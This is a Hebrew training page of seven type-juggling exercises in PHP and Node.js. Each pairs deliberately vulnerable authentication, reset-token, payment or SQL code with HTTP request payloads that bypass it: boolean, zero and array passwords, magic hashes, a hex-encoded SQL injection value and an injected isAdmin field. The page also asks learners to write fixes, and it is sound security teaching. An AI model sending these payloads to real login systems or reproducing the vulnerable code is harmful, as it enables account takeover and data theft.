לדלג לתוכן

בלבול טיפוסים - Type Juggling - תרגול

תרגיל 1 - עקיפת אימות עם magic hash (Apprentice)

רקע:
לפניכם מערכת כניסה ב-PHP שמשתמשת בהשוואה רופפת של MD5. המטרה: להיכנס ללא ידיעת הסיסמה.

קוד המערכת:

$password = $_POST['password'];
$hash = md5($password);
$stored_hash = $db->getHash($username);  // "0e462097431906509019562988736854"

if ($hash == $stored_hash) {
    login($username);
}

שלבים:

  1. שימו לב שה-hash השמור מתחיל ב-0e
  2. מצאו מחרוזת שה-MD5 שלה גם מתחיל ב-0e ואחריו רק ספרות
  3. השתמשו ברשימת ה-magic hashes המוכרות
  4. שלחו את המחרוזת כסיסמה

שאלות:
- למה "0e462..." מושווה ל-0 בהשוואה רופפת?
- איזה מחרוזות עובדות כאן?
- האם התקיפה תעבוד ב-PHP 8.0 ומעלה?


תרגיל 2 - עקיפת אימות עם JSON type manipulation

רקע:
אפליקציית PHP שמקבלת JSON ומשתמשת בהשוואה רופפת לאימות סיסמה.

קוד המערכת:

$data = json_decode(file_get_contents('php://input'), true);

$user = getUserByUsername($data['username']);

if ($data['password'] == $user['password']) {
    createSession($user);
    echo json_encode(['success' => true]);
}

שלבים:

  1. נסו את הבקשה הרגילה:
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "wrongpassword"}
  1. שנו את טיפוס הסיסמה ל-true:
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": true}
  1. נסו גם עם 0 (ב-PHP < 8.0):
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": 0}
  1. נסו עם מערך ריק:
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": []}

שאלות:
- איזה payload עבד? למה?
- מה ההבדל בין שליחת true (בוליאני) ל-"true" (מחרוזת)?


תרגיל 3 - עקיפת strcmp

רקע:
מערכת אימות שמשתמשת ב-strcmp לבדיקת סיסמה.

קוד המערכת:

$password = $_POST['password'];
$stored = getStoredPassword($username);

if (strcmp($password, $stored) == 0) {
    echo "Login successful";
}

שלבים:

  1. שלחו בקשה רגילה וודאו שהאימות נכשל
  2. שנו את הפרמטר password למערך:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[]=anything
  1. בדקו אם הכניסה הצליחה

שאלות:
- מה מחזירה strcmp כשהיא מקבלת מערך?
- למה NULL == 0 מחזיר true ב-PHP?
- כתבו את התיקון לקוד הזה


תרגיל 4 - עקיפת בדיקת טוקן

רקע:
מערכת איפוס סיסמה שמשתמשת בהשוואה רופפת לבדיקת טוקן.

קוד המערכת:

$token = $_GET['token'];
$user = getUserByEmail($_GET['email']);

if ($token == $user['reset_token']) {
    showResetForm();
}

שלבים:

  1. בקשו איפוס סיסמה עבור המשתמש admin
  2. נסו לגשת לדף האיפוס עם טוקנים שונים:
/reset?email=admin&token=0
/reset?email=admin&token=true
/reset?email=admin&token[]=
/reset?email=admin&token=0e1234
  1. בדקו מה עובר את הבדיקה

רמז: אם הטוקן מתחיל ב-0e או מכיל אותיות, יש אפשרויות שונות לעקיפה.


תרגיל 5 - שרשור בלבול טיפוסים עם SQLi

רקע:
אפליקציה שמשתמשת ב-is_numeric ו-intval לולידציה.

קוד המערכת:

$id = $_GET['id'];

if (is_numeric($id) && intval($id) > 0) {
    $result = $db->query("SELECT * FROM products WHERE id = $id");
    displayProduct($result);
}

שלבים:

  1. שלחו ערך מספרי רגיל וודאו שעובד: ?id=1
  2. נסו הזרקת SQL רגילה - האם is_numeric חוסמת אותה?
  3. נסו ערכים בפורמטים שונים:
  4. הקסדצימלי: ?id=0x1
  5. סימון מדעי: ?id=1e0
  6. עם רווחים: ?id=%201%20
  7. בדקו גרסת PHP - האם is_numeric("0x539") מחזירה true?
  8. ב-PHP < 7.0, נסו: ?id=0x31206f722031

רמז: ב-PHP ישנות, ערכים הקסדצימליים נחשבים מספריים ו-intval מחזיר ערך חיובי.


תרגיל 6 - בלבול טיפוסים ב-JavaScript (Node.js)

רקע:
שרת Node.js עם Express שמקבל JSON.

קוד המערכת:

app.post('/api/auth', (req, res) => {
    const { username, password, isAdmin } = req.body;

    const user = users.find(u => u.username === username);

    if (!user || user.password !== password) {
        return res.status(401).json({ error: 'Invalid credentials' });
    }

    // פגיע - הערך נלקח מבקשת הלקוח
    const token = generateToken({
        userId: user.id,
        admin: isAdmin || user.isAdmin
    });

    res.json({ token });
});

שלבים:

  1. התחברו כמשתמש רגיל ובדקו את הטוקן שקיבלתם
  2. שלחו את הבקשה עם שדה נוסף:
POST /api/auth HTTP/1.1
Content-Type: application/json

{"username": "user", "password": "pass123", "isAdmin": true}
  1. בדקו את הטוקן - האם יש לכם הרשאות אדמין?

שאלות:
- למה isAdmin || user.isAdmin פגיע?
- מה ההבדל בין זה לבין mass assignment?
- כתבו תיקון לקוד


תרגיל 7 - ניתוח קוד וזיהוי פגיעויות (Expert)

לפניכם קוד PHP. מצאו את כל פגיעויות בלבול הטיפוסים:

function processPayment($data) {
    // בדיקה 1
    if ($data['amount'] == 0) {
        return ['error' => 'Amount cannot be zero'];
    }

    // בדיקה 2
    if (strlen($data['card_number']) == 16) {
        // עיבוד כרטיס אשראי
    }

    // בדיקה 3
    if ($data['cvv'] == $stored_cvv) {
        // CVV תקין
    }

    // בדיקה 4
    $discount = $data['discount_code'];
    if ($discount != false) {
        applyDiscount($discount);
    }

    // בדיקה 5
    if (in_array($data['currency'], ['USD', 'EUR', 'GBP'])) {
        // מטבע תקף
    }
}

שאלות:
1. מצאו לפחות 4 פגיעויות
2. הסבירו כיצד לנצל כל אחת
3. כתבו גרסה מתוקנת של כל בדיקה
4. האם in_array פגיע לבלבול טיפוסים? (רמז: כן, בלי הפרמטר השלישי true)